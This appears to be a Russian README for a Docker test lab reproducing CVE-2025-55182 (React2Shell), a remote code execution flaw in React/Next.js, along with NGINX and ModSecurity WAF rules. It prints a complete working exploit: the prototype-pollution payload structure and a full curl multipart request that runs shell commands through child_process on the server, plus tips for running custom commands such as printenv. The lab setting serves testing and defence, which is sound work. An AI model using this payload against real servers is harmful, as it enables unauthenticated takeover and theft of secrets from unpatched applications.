CVE-2025-55182 (React2Shell) Тест

⚠️ Предупреждение: Содержит реально работающую уязвимость удаленного выполнения кода (RCE).

📋 Содержание

• Обзор
• Информация об уязвимости
• Быстрый старт
• Демонстрация атаки
• Тестовая среда
• Правила защиты WAF
• Структура файлов
• Ссылки
• Юридическое уведомление

---

Обзор

Контейнерная тестовая среда для уязвимости CVE-2025-55182 (React2Shell).

Основные особенности

• ✅ Воспроизведение реальной уязвимости - среда React 19.1.0 / Next.js 15.1.0
• ✅ Успешная RCE-атака - подтверждено выполнение реальных команд
• ✅ Тестирование защиты WAF - настройка правил NGINX и Apache ModSecurity
• ✅ Сравнение версий - тестирование уязвимой версии vs исправленной
• ✅ Полноценная Docker-среда - изолированная контейнерная среда

Результат атаки

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

---

Информация об уязвимости

CVE-2025-55182 (React2Shell)

Оценка CVSS: 10.0 (CRITICAL)
Влияние: удаленное выполнение кода (RCE)
Требование аутентификации: нет
Вектор атаки: сеть

Уязвимые версии

• React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Исправленные версии

• React: 19.1.2+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Принцип атаки

1. Prototype Pollution - загрязнение прототипа через $1:__proto__:then
2. Доступ к конструктору функций - через десериализацию Blob (префикс $B)
3. Выполнение произвольного кода - создание функции с кодом, контролируемым атакующим
4. Выполнение системных команд - RCE через child_process

// Структура полезной нагрузки атаки
{
  "then": "$1:__proto__:then",           // Загрязнение Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Триггер десериализации Blob
  "_response": {
    "_prefix": "вредоносный_код",         // Выполняемый код
    "_formData": {
      "get": "$1:constructor:constructor"  // Доступ к конструктору функции
    }
  }
}

---

Быстрый старт

Предварительные требования

• Docker Desktop
• Node.js 20+ (для локального тестирования, опционально)
• Минимум 4 ГБ ОЗУ
• Свободное место на диске от 2 ГБ

Шаг 1: Запуск среды

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Шаг 2: Проверка состояния

.\run-tests.ps1 status

Необходимо дождаться статуса healthy для всех контейнеров (занимает около 1-2 минут).

Шаг 3: Выполнение атаки

Windows (PowerShell):

# Способ 1: использование PowerShell-скрипта (рекомендуется)
.\tests\exploit-working.ps1

# Способ 2: прямой запуск Node.js
node tests\exploit-working.js

### Шаг 4: Проверка результатов

Результаты выполнения команд можно увидеть в логах сервера:

```bash
docker compose logs vulnerable-app --tail=20

---

Демонстрация атаки

Автоматизированный скрипт атаки

exploit-working.js ⭐ Рекомендуется

Windows:

# PowerShell-скрипт (рекомендуется)
.\tests\exploit-working.ps1

# Или прямой запуск Node.js
node tests\exploit-working.js

Выполняемые действия:

• ✅ Выполнение произвольных команд оболочки
• ✅ Захват вывода команд из логов сервера
• ✅ Автоматическое тестирование нескольких команд
• ✅ Подробный отчет об уязвимости

Тестируемые команды:

• whoami - текущий пользователь (root)
• hostname - имя хоста контейнера
• pwd - рабочая директория (/app)
• id - полная информация о пользователе
• uname -a - информация о системе
• node --version - версия Node.js

Ручная атака

Прямая атака с помощью curl

# Создание файла с полезной нагрузкой
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Отправка атаки
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Проверка выполнения в логах
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Выполнение пользовательских команд

Вы можете изменить скрипт атаки для выполнения нужных команд:

// В файле exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Список директории приложения' },
  { name: 'env', cmd: 'printenv', desc: 'Вывод переменных окружения' }
]

---

Тестовая среда

Docker-контейнеры

Порт	Сервис	Версия React	Назначение	Статус WAF
3000	vulnerable-app	19.1.0	Уязвимый - тестирование CVE-2025-55182	❌ Без защиты
3001	patched-app	19.1.2	Безопасный - проверка исправления	✅ Исправлен
8080	nginx → vulnerable	19.1.0	Тестирование WAF (NGINX)	⚠️ Ограниченно (тело не проверяется)
8081	apache → vulnerable	19.1.0	Тестирование WAF (ModSecurity)	⚠️ Ограниченно (ответ 405)
8082	nginx → patched	19.1.2	Тестирование двойной защиты	✅ Исправлен

Среда приложения

• Фреймворк: Next.js 15.1.0 (App Router)
• Версия React: 19.1.0 (уязвимая)
• Node.js: 20.19.6

Сценарии тестирования

Сценарий 1: Атака на уязвимую версию

# Запуск работающей атаки
node tests/exploit-working.js

# Ожидаемый результат: успешное выполнение команд
# Вывод: информация о пользователе, детали системы и т.д.

Сценарий 2: Тестирование исправленной версии

Windows (PowerShell):

# Использование PowerShell-скрипта
.\tests\exploit-working.ps1 -Port 3001

Ожидаемый результат: атака не удалась (React 19.1.2 блокирует атаку)

Сценарий 3: Тестирование блокировки WAF

Windows (PowerShell):

# Попытка атаки через NGINX WAF
.\tests\exploit-working.ps1 -Port 8080

Ожидаемый результат: заблокировано правилами WAF

---

Правила защиты WAF

Правила защиты NGINX

Расположение: nginx/nginx.conf

Шаблоны обнаружения:

1. Prototype Pollution - __proto__, constructor:constructor
2. Эксплуатация Flight Protocol - ссылки $X:__proto__, $B
3. Gadget Chain - child_process, execSync, require()
4. Обход через URL-кодирование - %5f%5fproto%5f%5f
5. Подозрительные заголовки - Next-Action: #constructor

Действие при блокировке:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Правила Apache ModSecurity

Расположение: apache/modsecurity-rules.conf

Диапазон ID правил: 100001-100017

Основные правила:

• 100001: обнаружение __proto__
• 100002: доступ к цепочке конструктора
• 100003-100004: эксплуатация Flight Protocol
• 100006-100007: шаблоны Gadget chain
• 100008-100011: попытки RCE (child_process, exec, spawn, require)
• 100015: подозрительные заголовки Next-Action
• 100017: блокировка на основе аномального балла

Тестирование WAF